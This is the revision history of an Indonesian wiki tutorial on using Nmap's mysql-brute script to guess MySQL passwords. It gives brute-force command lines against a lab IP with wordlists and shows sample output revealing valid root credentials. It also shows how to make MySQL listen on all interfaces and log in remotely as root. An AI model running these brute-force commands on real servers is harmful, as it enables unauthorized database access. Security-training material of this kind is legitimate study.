Nmap: brute force hack mysql password - Revision history

Onnowpurbo: /* Buat Hole di MySQL */

2018-06-02T03:08:35Z

Buat Hole di MySQL

← Older revision		Revision as of 03:08, 2 June 2018
Line 72:		Line 72:
	# bind-address = 127.0.0.1		# bind-address = 127.0.0.1
	bind-address = 0.0.0.0		bind-address = 0.0.0.0
			max_connections = 1000

Onnowpurbo: /* Example Usage */

2018-06-02T02:52:05Z

Example Usage

@@ Line 40: / Line 40: @@
   Nmap  -sT -p3306 --script mysql-brute.nse --script-args userdb=/root/user.txt --script-trace  192.168.0.100
   Nmap  -sT -p3306 --script mysql-brute.nse --script-args userdb=/root/user.txt,passdb=/root/pass.txt --script-trace 192.168.0.100
 ==Script Output==

Onnowpurbo at 00:53, 2 June 2018

2018-06-02T00:53:13Z

← Older revision		Revision as of 00:53, 2 June 2018
Line 38:		Line 38:

	nmap --script=mysql-brute <target>		nmap --script=mysql-brute <target>
	Nmap -sT -p3306 --script mysql-brute.nse --script-args userdb=/root/user.txt 192.168.0.100		Nmap -sT -p3306 --script mysql-brute.nse --script-args userdb=/root/user.txt --script-trace 192.168.0.100
	Nmap -sT -p3306 --script mysql-brute.nse --script-args userdb=/root/user.txt,passdb=/root/pass.txt 192.168.0.100		Nmap -sT -p3306 --script mysql-brute.nse --script-args userdb=/root/user.txt,passdb=/root/pass.txt --script-trace 192.168.0.100

	==Script Output==		==Script Output==

Onnowpurbo: /* Hole di MySQL */

2018-06-02T00:11:21Z

Hole di MySQL

← Older revision		Revision as of 00:11, 2 June 2018
Line 49:		Line 49:


	==Hole di MySQL==		==Buat Hole di MySQL==

	Serangan ini hanya bisa di jalankan kalau mysql salah di konfigurasi		Serangan ini hanya bisa di jalankan kalau mysql salah di konfigurasi
Line 80:		Line 80:
	mysql -u root -h ip-address-server -p123456		mysql -u root -h ip-address-server -p123456

			Akan keluar

			Welcome to the MariaDB monitor. Commands end with ; or \g.
			Your MySQL connection id is 50069
			Server version: 5.7.11-0ubuntu6 (Ubuntu)

			Copyright (c) 2000, 2017, Oracle, MariaDB Corporation Ab and others.

			Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

			MySQL [(none)]>

	==Referensi==		==Referensi==

	* https://nmap.org/nsedoc/scripts/mysql-brute.html		* https://nmap.org/nsedoc/scripts/mysql-brute.html

Onnowpurbo at 00:09, 2 June 2018

2018-06-02T00:09:38Z

@@ Line 1: / Line 1: @@
 Sumber: https://nmap.org/nsedoc/scripts/mysql-brute.html
@@ Line 42: / Line 47: @@
   |   Accounts
   |     root:root - Valid credentials
 ==Referensi==
 * https://nmap.org/nsedoc/scripts/mysql-brute.html

Onnowpurbo at 23:55, 1 June 2018

2018-06-01T23:55:03Z

← Older revision		Revision as of 23:55, 1 June 2018
Line 33:		Line 33:

	nmap --script=mysql-brute <target>		nmap --script=mysql-brute <target>
	Nmap -sT -p3306 ~~–script~~ mysql-brute.nse ~~–script~~-args userdb=/root/user.txt 192.168.0.100		Nmap -sT -p3306 --script mysql-brute.nse --script-args userdb=/root/user.txt 192.168.0.100
	Nmap -sT -p3306 ~~–script~~ mysql-brute.nse ~~–script~~-args userdb=/root/user.txt passdb=/root/pass.txt 192.168.0.100		Nmap -sT -p3306 --script mysql-brute.nse --script-args userdb=/root/user.txt,passdb=/root/pass.txt 192.168.0.100

	==Script Output==		==Script Output==

Onnowpurbo: /* Example Usage */

2018-06-01T03:52:11Z

Example Usage

@@ Line 14: / Line 14: @@
 ==Example Usage==
   nmap --script=mysql-brute <target>
-  Nmap  -sT -p3306 –script mysql-brute.nse –script-args userdb=/root/Desktop/user.txt 192.168.1.105
+  Nmap  -sT -p3306 –script mysql-brute.nse –script-args userdb=/root/user.txt 192.168.0.100
 ==Script Output==

Onnowpurbo: /* Example Usage */

2018-06-01T00:39:24Z

Example Usage

← Older revision		Revision as of 00:39, 1 June 2018
Line 16:		Line 16:

	nmap --script=mysql-brute <target>		nmap --script=mysql-brute <target>
			Nmap -sT -p3306 –script mysql-brute.nse –script-args userdb=/root/Desktop/user.txt 192.168.1.105

	==Script Output==		==Script Output==

Onnowpurbo at 02:25, 11 February 2016

2016-02-11T02:25:08Z

← Older revision		Revision as of 02:25, 11 February 2016
Line 4:		Line 4:
	==File mysql-brute==		==File mysql-brute==

	Script types: portrule		Script types: portrule
	Categories: intrusive, brute		Categories: intrusive, brute
	Download: http://nmap.org/svn/scripts/mysql-brute.nse		Download: http://nmap.org/svn/scripts/mysql-brute.nse

	==User Summary==		==User Summary==

	~~Performs~~ password ~~guessing against~~ MySQL.		Lakukan hack pada password MySQL.

Onnowpurbo: New page: Sumber: https://nmap.org/nsedoc/scripts/mysql-brute.html ==File mysql-brute== Script types: portrule Categories: intrusive, brute Download: http://nmap.org/svn/scripts/mysql-brute.nse ...

2016-02-10T22:56:19Z

New page: Sumber: https://nmap.org/nsedoc/scripts/mysql-brute.html ==File mysql-brute== Script types: portrule Categories: intrusive, brute Download: http://nmap.org/svn/scripts/mysql-brute.nse ...

New page

Sumber: https://nmap.org/nsedoc/scripts/mysql-brute.html

==File mysql-brute==

Script types: portrule
Categories: intrusive, brute
Download: http://nmap.org/svn/scripts/mysql-brute.nse

==User Summary==

Performs password guessing against MySQL.

==Example Usage==

nmap --script=mysql-brute <target>

==Script Output==

3306/tcp open mysql
| mysql-brute:
| Accounts
| root:root - Valid credentials

==Referensi==

* https://nmap.org/nsedoc/scripts/mysql-brute.html